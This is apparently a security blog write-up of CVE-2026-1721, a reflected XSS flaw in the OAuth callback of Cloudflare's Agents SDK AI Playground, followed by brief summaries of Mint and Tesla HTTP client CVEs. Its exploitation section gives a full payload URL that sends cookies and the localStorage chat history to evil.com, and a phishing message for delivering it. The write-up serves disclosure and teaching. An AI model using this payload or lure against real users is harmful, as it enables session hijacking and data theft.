Feb 13, 2026·5 min read·29 visits
The Cloudflare Agents SDK used `JSON.stringify()` to render OAuth error messages directly inside an HTML `<script>` tag. Since this function doesn't escape forward slashes, attackers could close the script block with `</script>` and inject malicious JavaScript. This grants full access to the AI Playground session.
In the rush to connect Large Language Models (LLMs) to the real world via the Model Context Protocol (MCP), developers often overlook the plumbing. CVE-2026-1721 is a classic Reflected Cross-Site Scripting (XSS) vulnerability found in the Cloudflare Agents SDK's OAuth callback handler. By abusing how error messages are serialized into HTML, attackers could hijack a developer's session, stealing sensitive AI chat logs and potentially commanding connected agents to perform unauthorized actions.
We are living in the golden age of "Agentic AI." Everyone is rushing to build tools that let LLMs actually do things—read files, query databases, or restart servers. Cloudflare's contribution to this ecosystem is the Agents SDK and the AI Playground, a sandbox where developers can test their Model Context Protocol (MCP) servers.
But here's the thing about sandboxes: they are only fun until someone finds a cat turd in them. In this case, the "turd" was a vulnerability in the authentication flow. To let developers log in with GitHub or Google, the Playground uses OAuth. It's a standard dance: you leave the site, log in, and get redirected back with a code.
However, security research isn't about the happy path; it's about what happens when things break. When an OAuth provider returns an error (like access_denied), the application has to tell the user what happened. The way Cloudflare handled this error reporting was... let's say, overly trusting. It opened the door for a classic, yet elegant, Reflected XSS.
The vulnerability lies in site/ai-playground/src/server.ts. When the OAuth callback endpoint receives an error from the provider, it needs to display that error to the user or pass it back to the parent window (since OAuth often happens in a popup).
The developers decided to take the query parameters—specifically error and error_description—and inject them directly into the response HTML inside a <script> tag. They likely thought, "Hey, we'll use JSON.stringify(). That escapes quotes, so we're safe from breaking out of the JavaScript string, right?"
Wrong.
While JSON.stringify() creates a valid JavaScript string literal, it does not escape forward slashes (/). In the context of an HTML parser, the sequence </script> is special. The browser's HTML parser runs before the JavaScript engine. If it sees </script>, it terminates the script block immediately, regardless of whether that sequence is inside a JavaScript string or not. This is a subtle behavior known as "Script Data Double Escaping" or simply "HTML injection in script context."
Let's look at the smoking gun. The vulnerable code looked something like this:
// Pseudo-code of the vulnerable handler
app.get('/callback', (req, res) => {
const error = req.query.error_description;
// The fatal flaw: Interpolating JSON.stringify directly into HTML
const html = `
<html>
<body>
<script>
window.opener.postMessage({
type: 'oauth-error',
message: ${JSON.stringify(error)}
}, '*');
window.close();
</script>
</body>
</html>
`;
res.send(html);
});If an attacker sends a normal error like Invalid Scope, the output is safe:
message: "Invalid Scope"
But if the attacker sends error_description=</script><script>alert(1)</script>, JSON.stringify turns it into "</script><script>alert(1)</script>". The quotes are there, but the browser doesn't care. It sees:
<script>
window.opener.postMessage({
type: 'oauth-error',
message: "
</script> <-- HTML Parser stops here!
<script>alert(1)</script> <-- New script starts here!The rest of the original script (" }, '*'); ...) becomes garbage text on the page, but the payload executes.
Exploiting this requires a bit of social engineering, but for a high-value target like an AI developer, it's worth the effort. The goal is to craft a URL that points to the legitimate Cloudflare AI Playground but carries our payload.
Step 1: Craft the Payload We need a URL that triggers the error condition in the OAuth handler.
https://playground.ai.cloudflare.com/callback
?state=irrelevant
&error=access_denied
&error_description=</script><script>
fetch('https://evil.com/steal?c='+document.cookie);
// Or sneakier: exfiltrate local storage where LLM chats live
const history = localStorage.getItem('chat_history');
navigator.sendBeacon('https://evil.com/logger', history);
</script>
Step 2: Delivery The attacker sends this link to a developer via email, Discord, or a GitHub issue comment: "Hey, I'm getting this weird error on the Cloudflare Playground, can you check it out?"
Step 3: Execution
When the victim clicks, the browser renders the page. The vulnerability fires immediately. Because the context is playground.ai.cloudflare.com, the script has access to all cookies and LocalStorage for that domain. In the world of AI Agents, this storage often contains the conversation history with the LLM, API keys for the models, and potentially access tokens for the MCP servers being tested.
Cloudflare patched this in version 0.3.10 (Commit 3f490d045844e4884db741afbb66ca1fe65d4093). The fix involved two major changes: sanitization and architecture.
First, they stopped trusting JSON.stringify blindly for HTML contexts. They introduced an HTML escaping library (escape-html) to sanitize the input before it ever touches the DOM.
Second, and more importantly, they refactored the flow. Instead of embedding the error message into the HTML response of the callback window, they switched to a state-based approach. The callback now simply signals the window to close, and the application state (likely via the state parameter or a session store) handles the error presentation.
Here is the essence of the patch:
// The Fix: Sanitize before interpolation
import escapeHtml from 'escape-html';
// ... inside the handler ...
const safeError = escapeHtml(req.query.error_description);
// Now even if it contains </script>, it becomes </script>For developers building similar OAuth flows: Never interpolate query parameters directly into your HTML, even inside script tags. If you must pass data from server to client HTML, put it in a data-attribute of a hidden DOM element (escaped!) or use a rigorous serialization library that is HTML-context aware.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N| Product | Affected Versions | Fixed Version |
|---|---|---|
cloudflare/agents Cloudflare | < 0.3.10 | 0.3.10 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-79 |
| CVSS Score | 6.2 (Medium) |
| Attack Vector | Network |
| User Interaction | Required (Clicking Link) |
| Impact | Session Hijacking / Data Exfiltration |
| Exploit Status | Proof of Concept (PoC) Available |
CVE-2026-48861 is a client-side HTTP request-line CRLF (Carriage Return Line Feed) injection vulnerability in the popular Elixir HTTP client library, Mint. The vulnerability permits HTTP Request Splitting and HTTP Request Smuggling when an application forwards untrusted, attacker-controlled inputs to Mint's HTTP client requests as either the HTTP request method or target. By embedding CRLF characters within these parameters, an attacker can terminate the request line prematurely, inject malicious headers, or pipeline entirely independent requests. These smuggled requests are then processed by upstream or downstream proxy servers as separate HTTP queries on the same TCP connection. While Mint version 1.7.0 introduced target validation to secure the request target, the HTTP request method parameter remained completely unvalidated. This flaw allows attackers to bypass routing filters, access restricted internal APIs, or poison HTTP caches under default configurations.
An Inconsistent Interpretation of HTTP Requests (HTTP Request/Response Smuggling) vulnerability in the Elixir Mint HTTP client allows attacker-controlled HTTP/1 servers to desynchronize response framing on shared connections due to over-lenient parsing of sign-prefixed Content-Length headers.
An allocation of resources without limits or throttling vulnerability in Elixir Mint allows an attacker-controlled HTTP/2 server to exhaust memory in a Mint client. The vulnerability is exploited by sending a HEADERS frame without the END_HEADERS flag followed by an infinite stream of CONTINUATION frames. Because the client lacks limits on the incoming header-block accumulator, the client continuously consumes memory until an out-of-memory crash occurs.
CVE-2026-48596 is an Improper Neutralization of CRLF Sequences in HTTP Headers (HTTP Request/Response Splitting, CWE-113) in the Elixir Tesla HTTP client. The flaw resides in how multipart content-type parameters are joined and serialized, enabling attackers to inject arbitrary headers or split HTTP requests when applications pass untrusted inputs to the parameters of multipart uploads.
An improper handling of highly compressed data (decompression bomb) vulnerability exists in the Elixir Tesla HTTP client when utilizing response decompression middlewares. By serving highly compressed responses or stacked content-encoding headers, a malicious server can cause arbitrary heap exhaustion, leading to a denial of service (DoS) crash in the BEAM virtual machine.
A high-severity security vulnerability in Elixir's Tesla HTTP client library (CVE-2026-48595) allows unauthenticated remote attackers to harvest sensitive credentials, including Authorization headers and cookies. The flaw resides in the 'Tesla.Middleware.FollowRedirects' component, which performs case-sensitive lookups when stripping credentials during cross-origin redirects. Because HTTP headers are case-insensitive by RFC specifications, standard canonical casing (e.g., 'Authorization') bypasses the lowercase-only blocklist, leaking tokens to untrusted external redirect destinations.